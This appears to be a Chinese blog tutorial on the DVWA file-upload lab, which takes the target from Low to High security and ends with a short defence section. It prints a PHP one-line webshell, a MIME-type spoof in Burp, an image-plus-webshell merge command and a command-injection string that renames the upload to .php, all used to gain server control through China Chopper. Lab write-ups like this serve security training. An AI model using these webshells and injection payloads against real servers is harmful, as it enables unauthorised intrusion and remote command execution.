【Web应用实战】 文件上传漏洞实战:Low/Medium/High三级绕过(一句话木马拿webshell全流程)

文件上传漏洞实战:Low/Medium/High三级绕过(一句话木马拿webshell全流程)

刚做文件上传实验时,我踩了无数坑:上传PHP木马直接被拦,改后缀名没用,抓包改MIME类型又搞不懂格式......后来才发现,文件上传漏洞的核心就是"骗服务器信任恶意文件"------不同安全级别有不同的防御套路,找对方法就能绕过限制,上传木马拿到服务器控制权。今天就从Low级别直接传马,到High级别图文合并+命令重命名,每一步都带实操步骤和原理,跟着做就能成功拿webshell!

一、先搞懂:文件上传漏洞到底是啥?(大白话版)

文件上传漏洞,简单说就是:服务器允许用户上传文件,但没做严格检查(或检查有漏洞),导致攻击者能上传恶意脚本(比如PHP一句话木马),然后通过脚本执行获取服务器权限

生活化比喻:服务器的上传功能像"快递收件处",正常只收"包裹(图片、文档)",但如果收件员不仔细检查,攻击者就可以把"炸弹(恶意脚本)"伪装成包裹寄进去,炸弹拆封后(脚本执行)就会控制整个仓库(服务器)。

实验核心目标

  • 上传"PHP一句话木马"到DVWA靶机;
  • 绕过不同级别的防御机制(前端JS验证、MIME类型检查、文件后缀+文件头检查);
  • 用"中国菜刀"连接木马,拿到webshell(管理服务器文件、执行命令)。

实验环境准备(照着搭就行)

  • 靶机:Windows 10 + DVWA + PHPStudy(Apache+MySQL启动,确保DVWA可访问);
  • 工具:中国菜刀(连接webshell)、BurpSuite(抓包改包)、任意图片文件(≤100K,用于High级别绕过);
  • 恶意文件:PHP一句话木马(代码:<?php @eval($_POST[kfc]);?>,"kfc"是连接密码,可自定义)。

二、核心概念速通(新手不用记死,理解就行)

术语/工具 通俗作用 实验中用途
一句话木马 短小的恶意PHP脚本,能执行接收的命令 上传到服务器后,用菜刀连接,控制服务器
MIME类型 文件的"身份证",标识文件类型(如图片是image/jpeg) Medium级别服务器靠这个判断是否为图片,可篡改绕过
文件头检查 服务器读取文件开头内容,判断是否为合法图片(如JPG文件头是FFD8) High级别靠这个防伪装,需用真实图片合并木马绕过
中国菜刀 连接一句话木马的工具 可视化管理服务器文件、执行CMD命令
BurpSuite 抓包、改包工具 Medium级别篡改MIME类型

三、分级别实战:从"直接上传"到"图文合并"

级别1:Low级------零防御,直接上传木马!

1. 防御机制:无任何限制

服务器既不检查文件后缀,也不验证文件类型,只要文件大小≤100K,就能直接上传。

2. 实战步骤(3步搞定)
  1. 新建PHP文件(命名为webshell.php),写入一句话木马:

    php 复制代码
    <?php @eval($_POST[kfc]);?>

    ("kfc"是连接密码,记好,后面要用);

  2. 登录DVWA,安全级别设为"Low",左侧选"File Upload"模块,点击"Browse"选择webshell.php,点击"Upload";

  3. 上传成功!页面会返回文件路径(如http://192.168.32.131/dvwa/hackable/uploads/webshell.php)。

3. 连接webshell(中国菜刀)
  1. 打开中国菜刀,右键"添加";
  2. 地址栏输入上面的文件路径,密码填"kfc",类型选"PHP (Eval)",点击"添加";
  3. 双击连接,就能看到服务器的文件目录,右键"虚拟终端"还能执行CMD命令(比如ipconfig查靶机IP)------成功拿到控制权!


原理:为什么能成?

Low级别完全没做安全检查,服务器把上传的PHP文件当成普通文件接收,而PHP文件在服务器上能直接执行,所以木马生效。

级别2:Medium级------绕MIME类型检查(抓包改"身份证")

1. 防御机制:检查MIME类型+文件大小

服务器通过MIME类型判断文件是否为图片(只允许image/jpeg、image/png),文件大小≤100K。直接上传PHP文件会被拦,因为PHP的MIME类型是application/x-php,不在允许列表里。

2. 绕过思路:篡改MIME类型(用BurpSuite抓包改)
3. 实战步骤
  1. 准备好webshell.php(和Low级别一样),确保文件大小≤100K;

  2. 配置BurpSuite代理(浏览器设为127.0.0.1:8080),打开"Intercept"(拦截开关);

  3. 回到DVWA上传页面,选择webshell.php点击"Upload",BurpSuite会拦截请求;

  4. 找到请求中的Content-Type: application/x-php(这是PHP文件的MIME类型),改成image/jpeg(或image/png);

    复制代码
    原内容:Content-Type: application/x-php
    修改后:Content-Type: image/jpeg
  5. 点击"Forward"放行请求,页面显示"uploaded successfully"------上传成功!

  6. 用中国菜刀连接(路径和密码和之前一样),成功拿到webshell。



原理:为什么能绕?

MIME类型是文件的"身份证",服务器只看这个"身份证"判断文件类型,不检查文件内容。我们把PHP文件的"身份证"改成图片的,服务器就误以为是图片,允许上传,而文件本质还是PHP脚本,能正常执行。

级别3:High级------绕后缀+文件头检查(图文合并+命令重命名)

1. 防御机制:双重检查(后缀+文件头)
  • 后缀检查:只允许jpg、jpeg、png后缀,截取文件名最后一个"."后的字符判断;
  • 文件头检查:用getimagesize()函数读取文件头,必须是合法图片(有图片尺寸信息),否则拒绝上传。

直接上传PHP或改MIME都没用,得让恶意文件"看起来像图片,实际藏木马"。

2. 绕过思路:图文合并(图片+木马)+ 命令重命名(改后缀为PHP)、
3. 实战步骤
步骤1:合并图片和一句话木马
  1. 找一张≤100K的图片(如zhsy.jpg),和webshell.php放在同一文件夹(比如E盘根目录);

  2. 打开CMD,进入该文件夹,执行合并命令(/b是二进制合并,/a是文本合并):

    cmd 复制代码
    copy zhsy.jpg/b + webshell.php/a zhsywebshell.jpg
  3. 执行后会生成新文件zhsywebshell.jpg(表面是图片,里面藏着PHP木马)。

步骤2:上传合并后的图片文件
  1. 回到DVWA(High级别),上传zhsywebshell.jpg,页面显示上传成功(因为文件头是图片,后缀是jpg,服务器信任);
  2. 但此时文件后缀是jpg,服务器不会执行PHP代码,需要把它改成php后缀。

步骤3:利用命令注入漏洞重命名文件
  1. 左侧选"Command Injection"模块(High级别),输入命令(目的是把图片文件重命名为PHP):

    复制代码
    127.0.0.1 && rename "C:\phpStudy\WWW\DVWA\hackable\uploads\zhsywebshell.jpg" zhsywebshell.php

    (路径要和靶机的上传目录一致,可从上传成功的提示中获取);

  2. 点击"Submit",命令执行成功,文件被重命名为zhsywebshell.php。

步骤4:连接webshell
  1. 中国菜刀添加连接,地址填:http://192.168.32.131/dvwa/hackable/uploads/zhsywebshell.php,密码还是"kfc";
  2. 双击连接,成功管理服务器文件、执行命令------High级别绕过成功!
原理:为什么能绕?
  • 图文合并:文件头是合法图片的,骗过getimagesize()检查;
  • 命令重命名:利用其他漏洞(命令注入)把图片后缀改成PHP,服务器就会执行里面的木马代码。

四、纠错指南

  1. 文件大小超限制:DVWA限制≤100K,合并图片时选小图,一句话木马本身很小,不会超;
  2. BurpSuite代理没配置好:改MIME时抓不到包,检查浏览器代理是否设为127.0.0.1:8080,BurpSuite的Intercept是否开启;
  3. 合并文件命令错 :必须用/b/a参数,顺序不能反(图片在前,木马在后),否则文件头不是图片,上传失败;
  4. 重命名路径错 :路径要和靶机的上传目录一致,可从"上传成功"的提示中复制(如../../hackable/uploads/xxx.jpg,转换成绝对路径)。

五、核心原理总结+防御思路

1. 漏洞本质

服务器对用户上传的文件"检查不彻底"------只看表面(后缀、MIME、文件头),不看内容,导致恶意文件被伪装后上传成功。

2. 不同级别防御与绕过对比

级别 防御机制 绕过方法
Low 无防御 直接上传PHP一句话木马
Medium 检查MIME类型+文件大小 BurpSuite抓包改MIME为image/jpeg
High 检查后缀+文件头+文件大小 图文合并(图片+木马)+ 命令重命名为PHP

3. 防御

  • 后缀白名单:只允许必要的文件类型(如jpg、pdf),拒绝php、asp等可执行后缀;
  • 内容检查:用专业工具扫描文件内容,不是只看文件头;
  • 文件名随机化:上传后服务器自动改文件名(如生成随机字符串),避免攻击者知道路径;
  • 上传目录限制权限:不让上传目录有执行脚本的权限(如Apache禁止php文件执行)。
相关推荐
华仔啊2 小时前
JavaScript + Web Audio API 打造炫酷音乐可视化效果,让你的网页跟随音乐跳起来
前端·javascript
snakecy2 小时前
信息系统项目管理师--论文case
大数据·学习·职场和发展·区块链
鸡吃丸子2 小时前
SEO入门
前端
天狗下凡2 小时前
【OpenGL学习】第2课:用OpenGL创建第一个窗口
学习
檀越剑指大厂2 小时前
【Nginx系列】Tengine:基于 Nginx 的高性能 Web 服务器与反向代理服务器
服务器·前端·nginx
嘉年华-cocos2 小时前
考研英语 5400 纯数据版
学习·英语·背单词·音标
是你的小橘呀2 小时前
深入理解 JavaScript 预编译:从原理到实践
前端·javascript
uhakadotcom2 小时前
在使用cloudflare workers时,假如有几十个请求,如何去控制并发?
前端·面试·架构
风止何安啊2 小时前
栈与堆的精妙舞剧:JavaScript 数据类型深度解析
前端·javascript